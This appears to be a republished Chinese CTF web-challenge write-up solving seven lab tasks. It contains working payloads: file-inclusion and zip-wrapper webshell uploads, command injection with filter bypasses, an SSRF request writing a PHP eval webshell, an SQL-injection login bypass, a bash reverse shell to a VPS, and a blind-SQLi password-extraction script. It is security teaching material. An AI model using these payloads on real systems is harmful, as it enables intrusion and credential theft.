前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >writeup分享 | 近期做的比较好的web

writeup分享 | 近期做的比较好的web

作者头像
安恒网络空间安全讲武堂
发布于 2018-02-06 07:12:24
发布于 2018-02-06 07:12:24
1.6K1
举报

0x01猫头鹰嘤嘤嘤

http://124.128.55.5:30829/index.php

首先分析一下功能,随便上传一张jpg图片上传,跳转到 http://124.128.55.5:30829/index.php?page=view&id=0evBNzz,想到文件包含漏洞,尝试用php://filter伪协议去读源码

http://124.128.55.5:30829/index.php?page=php://filter/read=convert.base64-encode/resource=index

这里注意.php是自动补的,不需要写。

读出来的源码如下:

代码语言:js
AI代码解释
复制
view.php
<? php $pic = $_REQUEST['id'];

if ($pic == "" || $pic == "random") {
  $picname = "preloaded-owls/".rand(1, 14).".jpg";
} else $picname = "/owl/".$pic.".jpg";
echo '<img src="'.$picname.'">'; ?>
 
index.php
<? php $p = $_REQUEST['page'];
if ($p == "" || $p == "index") {
  $p = "main";
}
$haq = base64_decode("ICAgICAgICAgICAgICAgICAgIC8tLS0tLS0tLS0KICAgICAgICAgICAgICAgICAgLyAvIC8qKioqKipcCiAgICAgICAgICAgICAgICAgLyAvKioqKi0tICogKlwKICAgICAgLy8oKCg6PDw8PC86KioqKioqKioqM1xYKlwoKDwKICAgICAvWFgvQ1hDJkNHRy8vKiovLS0vLy9YKlZcKiouLmcmCigvVkNDM2dnMC4uLi4uLi4uKi8vWC8vKC8vL1YqQ1wqLi44ODhnZzhnJjNDPAooMyZnRyYuLi4uLi4uLi4uLiouLlhYWC8oKCgvKi5cKi4uLi4uLi5HLzA4ODgzWDxgCi8oPEM4IC4uLi4uLi4uLi4uKi5YWFhYLy8vLzwvLi4qLi4uLi4uLi4uLi4uLi4uM0NeClgvLzw8Ly4uLi4uLi4uLi4uKiZDVlgvLy9WLzw8Ly4qLi4uLi4uLi4uLi4uLi4uOEdDPApYWC9DLzo8L1YuLi4uLi4uLiomM0NWWFZYVlgoPFYqKi4uLi4uLi4uLi4uLi4uLiBnOENeCiAgICBHQy88PC8oLi4uLi44RyYzQ0NWWFhYWFZ+WFYqLi4uLi4uLi4uLi4uLi4uIEM4M1YKICAgICAgIFYvPF48KFg4OCZWLy8oKDw8PDwoKDxePCoqLi4uLi4uLi4uLi4uLi4uWCYmQwogICAgICAgICAgICAgIGA6L0NDVi8oKCg8PCgvVlZWLyouLi4uLi4uLi4uLi4uLigvQyYvCiAgICAgICAgICAgICAgIDw8IF5eKC9WMzNWWC9WQyZYKlZDLi4uLjo8PH48PDwoKFggIGAKICAgICAgICAgICAgICAgVi8oLzwgXiBeXjovWC8oKDw8Xl4tLS1WOn5+PDwoCiAgICAgICAgICAgICAgMyYgICAgICAgICAgICAgICAgICAuXi0vCiAgICAgICAgICAgICAgQyAgL1wgICAgICAgL1wgICAgICAgIHwKICAgICAgICAgICAgIC9DICBcLyAgICAgICBcLyAgICAgICAvLwogUExaIFNUT1AgICAgIDMgICAgICAgICAgICAgICAgICAgIHxcCiAgIEhBQ0tJTkcgICAgQyAgICAgICAgICAgICAgICAgICAvNSoKICAgICAgICAgICAgICBWICAgICAvLS0tLS1cICAgICAgIC8KICAgICAgICAgICAgICBDRyAgfCAgICAgICAgIHwgIDwvLy88CiAgICAgICAgICAgICAgVkdWIHwgICAgICAgICB8IF4oL1g8XgogICAgICAgICAgICAgICAmJjwgIFwtLS0tLS8gIC4oKDwoXgogICAgICAgICAgICAgICAgODMoICAgICAgICAuPCh+YDw8CiAgICAgICAgICAgICAgICAgOFhgICAgICAuPDxeYCBgKCheCiAgICAgICAgICAgICAgICBCQEBDPC5gXl5gICAgICBeKENHJkMoPC5gYAogICAgIENHOEIkQEBAQEBAQEBAJCggICAgICAgICAgXl4oMEBAQEAkODNYPGAKICAgQkBAQEBAQEBAQEBAQEBAQEBAOC8gICAgICAgYDxDJEBAQEBAQEBAQEAkJjwKICBAQEBAQEBAQEBAQEBAQEAkJCRAQEAkJDA4ODhCQEBAQEBAQEBAQEBAQEBAQEBWYAogQEBAQEBAQEBAQEBAQEAkQCQkJCQkJCRAQEBAJCRAQEAkQEBAQEBAQEBAQEBAQEBDYApAQEBAQEBAQEBAQEBAQCRAJCQkJCQkJCQkJCQkJCQkJCQkQEBAQEBAQEBAQEBAQEBAKGAKQEBAQEBAQEBAQEAkQCQkJCQkJCQkJCQkJCQkQEAkJEBAQEBAQEBAQEBAQEBAQEBAQEIK");
$haq = htmlentities($haq);
if (strstr($p, "..") !== FALSE) die("<pre>$haq</pre>");
if (stristr($p, "http") !== FALSE) die("<pre>$haq</pre>");
if (stristr($p, "ftp") !== FALSE) die("<pre>$haq</pre>");
if (strlen($p) >= 60) die("<pre>string > 60 $haq</pre>");
$inc = sprintf("%s.php", $p); ?> < !DOCTYPE html > < html lang = "en" > < head > < meta charset = "utf-8" > < meta http - equiv = "X-UA-Compatible"
content = "IE=edge" > < meta name = "viewport"
content = "width=device-width, initial-scale=1" > < title > Owlur - The simple image sharing website
for owl pictures < /title>      <!-- Bootstrap -->     <link href="css/bootstrap.min.css " rel="
stylesheet ">      <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->     <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->     <!--[if lt IE 9]>       <script src="
https: //oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>       <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>     <![endif]-->   </head>   <body style="background-color: #d0d0c8;"> <center> <h1>owlur</h1>    <?php include($inc); ?> </center>     <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->     <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>     <!-- Include all compiled plugins (below), or include individual files as needed -->     <script src="js/bootstrap.min.js"></script>   </body> </html>
upload.php
upload.php
<? php
function RandomString() {
  $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  $randstring = "";
  for ($i = 0; $i < 7; $i++) {
    $randstring. = $characters[rand(0, strlen($characters) - 1)];
  }
  return $randstring;
}
$target_dir = "/var/www/html/owlur-upload-zzzzzz/";
$target_file = $target_dir.basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 0;
$imageFileType = pathinfo($target_file, PATHINFO_EXTENSION);
$fsize = $_FILES['fileToUpload']['size'];
$newid = RandomString();
$newname = $newid.".jpg";
if (isset($_POST["submit"])) {
  if ($imageFileType == "jpg") {
    $uploadOk = 1;
  } else {
    echo "<p>Sorry, only JPG images of owls will be accepted. Please use a different service if you do not intend to upload owl pictures.</p>";
    $uploadOk = 0;
  }
  if (!($fsize >= 0 && $fsize <= 200000)) {
    $uploadOk = 0;
    echo "<p>Sorry, the size of your owl picture is not to our liking.</p>";
  }
}
if ($uploadOk) {
  $newpath = "/var/www/html/owlur-upload-zzzzzz/".$newname;
  if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $newpath)) {
    header('Location: /index.php?page=view&id='.$newid);
  } else {
    echo "<p>Sorry, there was an error uploading your file.</p>";
  }
} ?>
 
/var/www/html/owlur-upload-zzzzzz/5RKTuqt
 
ZL4TD1w

分析代码

首先看index.php,存在文件包含漏洞,并且过滤了../http/ftp,对文件长度也做了限制。

然后分析upload.php,RandomString()函数用于生产一个随机ID,然后对文件后缀进行了判断,只允许上传jpg文件,这里可以使用伪协议去绕过。

php伪协议文章:http://www.freebuf.com/column/148886.html

将含有一句话的php压缩成zip,重命名成jpg, 上传得到

http://124.128.55.5:53859/index.php?page=view&id=2LsuNg3

菜刀连接http://124.128.55.5:53859/index.php?page=zip://./owlur-upload-zzzzzz/2LsuNg3.jpg%23test

成功getshell。

0x02前端跑路了QAQ

代码语言:js
AI代码解释
复制
访问http://124.128.55.5:36311/index.txt,得到源代码
<?php 
 
$ip = isset($_POST['ip'])?$_POST['ip']:die();
 
if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i',$ip)){
    die("ip 格式错误!");
}
 
echo strlen($ip);
 
if(strlen($ip)<7||strlen($ip)>21){
    die("ip 长度错误!");
}
 
         // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                 // Windows
 
         $cmd = shell_exec( 'ping  ' .$ip );
}else {
                 // *nix
                 $cmd = shell_exec( 'ping  -c 1 ' .$ip );
}
 
         // Feedback for the end user
echo  "<pre>{$cmd}</pre>";

简单分析一下就是首先正则匹配ip格式,然后命令执行,需要绕过正则来进行命令注入。

需要知道preg_match()只匹配第一行,所以可以通过换行符来操作。

0x03 网络公司ping命令测试

复现地址:http://183.67.184.159:8888/ctf/shellcodeexec/

这个题跟上面那个题差不多,执行ping命令。

发现对ip的匹配判断操作是写在js里面的

代码语言:js
AI代码解释
复制
function f_check_IP()      
{  var ip = document.getElementById('reg_ip').value;  
                    var re=/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/;
                    if(re.test(ip))     
                    {     
                        if( RegExp.$1<256 && RegExp.$2<256 && RegExp.$3<256 && RegExp.$4<256)   
                        return true;     
                    }     
                    alert("IP\u683C\u5F0F\u4E0D\u6B63\u786E");     
                    return false;      
}

这里就可以直接用浏览器禁用掉js了,然后执行ls命令

然后去读key_31321321421543.php的数据,

post: iipp=xx|cat key_31321321421543.php&submit=Ping

但是没有回显,应该是过滤了空格,可以使用<``${IFS}``$IFS$9去绕过

0x04上传上传!!

代码语言:js
AI代码解释
复制
<?php
if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = "upload/".$_GET['path'];
 
}else{
    show_source(__FILE__);
    exit();
}
if(strpos($path,'..') > -1){
    die('This is a waf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.Geeker";
}

strpos($path,'..')函数是返回匹配的字符串的首位置,这里是个简单waf。

这里将file的data写入到path中去,如果没有就新建一个

但是这里需要getshell,需要考虑怎么写入一句话,需要构造一个有webshell的页面,然后可以将这个页面写入到新的php页面中,大体思路是这样,然后这里可以利用ssrf原理,让它构建出一个含有一句话的页面,然后利用这个页面getshell。

payload:

http://124.128.55.5:64778/?file=http://127.0.0.1/?file=http%3A%2f%2f127.0.0.1%2f%26path%3D%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E&path=shell.php

成功getshell

0x05 login2

靶场地址:http://47.93.190.246:49165/

首先通过http响应头获得提示

代码语言:js
AI代码解释
复制
 $sql="SELECT username,password FROM admin WHERE username='".$username."'"; if (!empty($row) && $row['password']===md5($password)){ }

可以通过构造

username='union select 1,md5(1)#&&password=1

直接登录,也就是说通过构造sql语句使查询出来的password可控。 登录之后可以看到是个进程监控系统

然后测试过滤了什么字符,但是苦逼的是没有回显啊,尝试执行

c=1 ; sleep 5

页面加载了好几秒,也就是说命令执行了, 然后测试一下是否可以连接外网

c=123 ; ping www.baidu.com

一直转圈,显然可以访问,然后在vps上nc监听,使用bash反弹。

c=123 ; bash -i >& /dev/tcp/vps/7777 0>&1

成功getshell。

0x06 login3

靶场地址:http://47.93.190.246:49167/

题目提示考查布尔盲注

首先使用burpsuite测试一下过滤 根据返回长度判断是否被过滤。

首先测出过滤了

1. 空格 2. * 3. + 4. ; 5. = 6. is 7. union 8. like 9. where 10. for 11. and 12. file 13. ` 14. 各种截断字符串: %09,%0a,%0b,%0c 15. ,

可以使用的关键词

1. select 2. from 3. or 4. ' 5. () 6. <>

以及不含关键词的mysql自带函数,很容易看得出是一个盲注,没了空格的话可以使用括号来代替。

select password from admin where username='admin' select(password)from(admin)where(username)=('admin')

这两条语句是没有区别的

空格解决了就可以构造布尔条件了,不能使用等号但是可以使用不等号,所以可以构造

'or(变量1<>变量2)#

注意这里结果是相反的,也就是说

' or(1<>2)#

为真。 执行sql语句为:

select * from admin where username=''or(1<>2)

可以看到构造成功。

接下来用二分法猜一下password有多少位

代码语言:js
AI代码解释
复制
username='or((length(password))<50)#&password= #正确,位数< 50
username='or((length(password))<25)#&password= #错误,25 <= 位数 < 50
username='or((length(password))<37)#&password= #正确,25 <= 位数 < 37
username='or((length(password))<31)#&password= #错误,31 <= 位数 < 37
username='or((length(password))<34)#&password= #正确,31 <= 位数 < 34
username='or((length(password))<32)#&password= #错误,32 <= 位数 < 34
username='or((length(password))<33)#&password= #正确,32 <= 位数 < 33
username='or((length(password))<>32)#&password= #错误,位数 = 32

估计是md5,但是逗号被ban了,不过可以使用from,作用是从该位截取到字符串尾部:

直接写脚本跑吧.

脚本如下

代码语言:js
AI代码解释
复制
import requests
url = "http://47.93.190.246:49167/index.php"
def check(payload):
         postdata = {'username':payload,'password':'xx'}
         r = requests.post(url,postdata).content 
         return "username does not exist!" in r 
password = ''
s = r'0123456789abcdef'
for i in xrange(32,0,-1):
         for c in s:
                 payload = "'or(mid((select(password)from(admin))from(%d))<>'%s')#" % (i,c+password)
                 #print payload
                 if check(payload):
                          password = c + password
                          break
         print password

0x07简单的文件上传

这道题的思路挺好的,涨姿势了。

提示不能上传php文件,但是可以上传PHP,不过这里纯粹验证上传的文件名,然后

这里是路径,两者是直接连接的,然后可以

后面就是截断的问题了,不要老想着00截断,有的时候可能其他的截断,然后简单fuzz一下就OK, 使用脚本

代码语言:js
AI代码解释
复制
file = open("fuzz.txt",'w')
for i in range(256):
         file.write(chr(i)+'\n')
file.close()

然后这里Load一下刚才生成的fuzz.txt,就能fuzz出用什么可以截断。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-01-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
1 条评论
热度
最新
ONLYOFFICE ONLYOFFICE是一家来自欧洲拉脱维亚的Ascensio System SIA公司研发的一款高端办公软件,它除了在线文本文档编辑,在线多人协作,和高端美化的电子表格外,同时还具有免费在线文件转换功能,下面给大家详细介绍一下。亮点介绍永久免费 , 这款软件在线便捷转换文件的功能是完全免费的,没有任何套路捆绑的附加费用。无广告模式; ONLYOFFICE使用起来非常干净清爽,没有任何商业广告,内置广告,捆绑广告。使用方式便捷;在线使用PDF文件转换无需登录,无需注册,打开官网点击PDF转换器就可以在线做到文件转换,同时可以做到
ONLYOFFICE ONLYOFFICE是一家来自欧洲拉脱维亚的Ascensio System SIA公司研发的一款高端办公软件,它除了在线文本文档编辑,在线多人协作,和高端美化的电子表格外,同时还具有免费在线文件转换功能,下面给大家详细介绍一下。亮点介绍永久免费 , 这款软件在线便捷转换文件的功能是完全免费的,没有任何套路捆绑的附加费用。无广告模式; ONLYOFFICE使用起来非常干净清爽,没有任何商业广告,内置广告,捆绑广告。使用方式便捷;在线使用PDF文件转换无需登录,无需注册,打开官网点击PDF转换器就可以在线做到文件转换,同时可以做到
回复回复点赞举报
推荐阅读
编辑精选文章
换一批
PDF怎么转换成Word?PDF转Word方法介绍
PDF怎么转换成Word?在日常工作中,我们常常因为文件的格式符合工作要求而无法完成工作任务,不仅影响工作效率,还额外的增加了我们的工作负担。有时候我们需要将PDF文件转换成Word文件,无从下手该怎
高效办公
2019/07/10
7.7K0
PDF怎么转换成Word?PDF转Word方法介绍
PDF怎么编辑内容,两大简单方法教你轻松搞定
在工作中要说用到最多的文件格式那当然是PDF格式是最多的了,因其本身的安全性比较高,所以很多在办公中的人都很喜欢用,可是很多人也会比较头疼,尤其是当PDF文件中内容出现错误需要修改的时候,想要修改PDF文件里面的内容是很难的,那么PDF怎么编辑内容?今天就来给大家介绍两大简单方法教你轻松搞定,一起来看看具体的操作方法吧。
高效办公
2019/03/12
7310
PDF怎么编辑内容,两大简单方法教你轻松搞定
word文档如何转pdf文档?两种方法解决
Word转换成PDF之后会有好处就是,传输的时候格式不会乱,而且便于浏览,那么怎么才能把word文档转换成PDF文档呢?两种方法教给你。
高效办公
2019/06/13
1.3K0
word文档如何转pdf文档?两种方法解决
PDF转Word转换器哪个好?聪明的人都用这款
PDF文件属于不可编辑的文件,主要作为传输阅读使用,那么当我们需要把PDF转换成word的时候,借助PDF转word转换器就可以实现了。
高效办公
2019/07/01
2.3K1
PDF转Word转换器哪个好?聪明的人都用这款
如何免费的、完整的把 PDF 转换为 Word?
我们都知道PDF是一种不能编辑的文件,如果要将pdf文件转换成word文件又该怎样转换呢?其实我们可以借助工具实现pdf转换成word的操作哦。
全栈程序员站长
2022/07/01
2.7K0
如何免费的、完整的把 PDF 转换为 Word?
办公格式转换太难看这里,PDF、WORD、EXcel、TXT教你玩转
职场小白:Word,PDF,EXCel,PPT,CAJ,JPG统统都想学习,都想直接一招搞定,但是要如何搞定呢?
高效办公
2019/03/26
9890
办公格式转换太难看这里,PDF、WORD、EXcel、TXT教你玩转
图片怎么转PDF?这个方法更简单便捷
图片格式有很多,那么也有的朋友需要说将图片转换成PDF文件,也有就是多张图片需要合并到一个PDF文件当中的需求,不管是哪种,都是需要将图片转PDF,那么今天呢就为大家介绍几种简单的图片转换成PDF文件的方法吧。
高效办公
2019/09/09
9980
PDF怎么转换成CAD编辑,这个简单方法教你实现
在职场中,PDF的格式是经常能够用到的,也是在办公室中越来越流行,因为PDF本身具有较高的安全性,也是便携式的,但是也会遇到这样的情况,需要将PDF转换成CAD,这就会使很多人开始头疼了,那么PDF怎么转换成CAD编辑?下面就来给大家分享一个超级简单的方法教你轻松实现哦,以后在工作中在遇到这样的问题,再也不用担心自己不会转换啦。
高效办公
2019/03/15
1.6K0
PDF怎么转换成CAD编辑,这个简单方法教你实现
PDF如何转换成图片格式,这三种方法超级有效
在我们的工作中经常会遇到一些PDF格式的文件,而且这个格式的文件在办公中很受欢迎哦,很方便人们阅读,但是也会遇到一些问题,比较喜欢PDF中的图片,想保存下来,PDF又很难进行编辑,那么PDF如何转换成图片格式?今天呢就来为大家介绍几种简单的方法哦,跟随我来学习吧。
高效办公
2019/05/13
3K0
PDF如何转换成图片格式,这三种方法超级有效
Word转EXcel格式不变,这点你get到了吗?
在工作中,我们接触比较多的就是各种文档之间的相互转换,如Word转PDF,或者是Word转EXcel,很多人都有这样一个疑问,word转EXcel怎么转换格式才不会变化,今天呢就来给大家分享Word转EXcel格式不变的方法,跟随我来学习吧。
高效办公
2019/05/06
2.2K0
Word转EXcel格式不变,这点你get到了吗?
PDF怎么转换成Word?这个方法教你分分钟搞定
PDF文件是很多人在办公中都会遇到的,因为PDF文件本身是很难进行修改和编辑的,想要进行编辑和修改就需哟将PDF转换成Word,那么PDF怎么转换成Word?这个方法教你分分钟搞定哦,想知道的话赶紧来看看吧。
高效办公
2019/06/19
1.4K0
PDF怎么转换成Word?这个方法教你分分钟搞定
如何创建PDF格式文件,这个方法教你快速创建
很多人接触到的PDF文件,很多都是从网上下载来的,而这些大都是转换来的,因为PDF本身就是比较安全,兼容性比较好,不论是在阅读还是在传输的时候都是比较便捷的,在办公中用到的还是比较多的,但是PDF文件很难进行修改,想要重新创建一个PDF进行编辑该怎么办呢?如何创建PDF格式文件,这是很多人比较关心的问题,今天来给大家分享一个超级好用的方法哦,然给你快速完成创建。
高效办公
2019/05/21
1.7K0
如何创建PDF格式文件,这个方法教你快速创建
PDF如何转换成PPT,这个方法你知道吗
PDF是我们在办公中会经常遇到的,但是想要编辑和观看的话是需要将PDF转换成PPT的,那么PDF如何转换成PPT?下面就来给大家介绍,想知道的话就来看看吧。
高效办公
2019/06/20
7780
在线快速将pdf转换成word[通俗易懂]
处理同样1000个PDF文件的格式转换,在线PDF转换成Word转换器比普通PDF转换器快8-12倍以上,是一款全自动化的转换模式,为用户提供了高质量的PDF转换服务的同时,大大节省了转换过程中所消耗的时间。今天小编给你支招的这款 pdf转换成word转换器在线是专业转换网站,能够给你多种格式转换的选择。
全栈程序员站长
2022/08/15
7.9K1
在线快速将pdf转换成word[通俗易懂]
中文怎么翻译成英文,你一定要知道的方法
中文怎么翻译成英文?相信翻译很多人在日常生活都或多或少的有所接触。这时可能会有人说“我百度一下就行了”。其实百度只擅长翻译单词、短句不能实现对大量内容的翻译,那需要将大量中文怎么翻译成英文呢?又有哪些中文翻译成英文的方法可以让我们这方面更加的得心应手呢?那下面我就教大家几个中文翻译成英文的方法。
高效办公
2019/07/11
6.5K0
PDF文档怎么加密?工作再忙也要学学这个方法
在工作中难免会遇到一些比较重要的PDF文件,而为了保护这些文件的安全,不能被别人随意打开浏览,像平时在工作中比较重要的数据汇报,工作汇报等这些都是比较重要的,需要对PDF文档加密,那么PDF文档怎么加密?今天就来给大家介绍超级好用的简单易学的方法,即使工作再忙也要学学这个方法。
用户2154429
2019/03/20
8150
PDF文档怎么加密?工作再忙也要学学这个方法
PDF新建空白页的方法有哪些?怎么新建PDF文件
大家知道哪些PDF新建空白页的方法?问到这个问题大家都是不约而同的眉头紧锁,小编理解的可能是大家都不知道怎么新建PDF空白页吧。
用户5843321
2019/10/24
4.2K0
PDF新建空白页的方法有哪些?怎么新建PDF文件
word文档转换为图片格式
pdf转jpg/png图片在此提供两种转换方式: 在线转换:适用于普通无个人隐私信息的文档,网页即可转换,较便捷;pdf转换在线图片 本地转换:适用于带有个人隐私信息的文档,需下载软件
Weiyang
2020/07/06
2.8K0
图片转pdf怎么转?这个简单方法你得会
图片是我们每个人都会接触到的,但是如果想要将图片转PDF却不是那么简单的事情了,是需要借助软件才能完成的,那么图片转PDF怎么转?今天就来给大家分享一个超级简单的方法,让你分分钟学会哦。
高效办公
2019/06/21
1.1K0
图片转pdf怎么转?这个简单方法你得会
jpg转pdf:图片jpg格式如何转换成pdf?深度解析这8款软件!值得收藏!
将图片转换成PDF(便携式文档格式)已成为常见的需求,如果需要传身份证回家证明材料,证件办理打印等。JPG作为一种广泛使用的图片格式,具有较高的压缩率和较好的图像质量,但在需要共享、存档或保护图像时,转换为PDF格式则显得更为方便和高效。下面我们就全面分析一些这两种格式之间的区别和转换方法。
科技测评师001
2024/08/09
4870
jpg转pdf:图片jpg格式如何转换成pdf?深度解析这8款软件!值得收藏!
推荐阅读
相关推荐
PDF怎么转换成Word?PDF转Word方法介绍
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档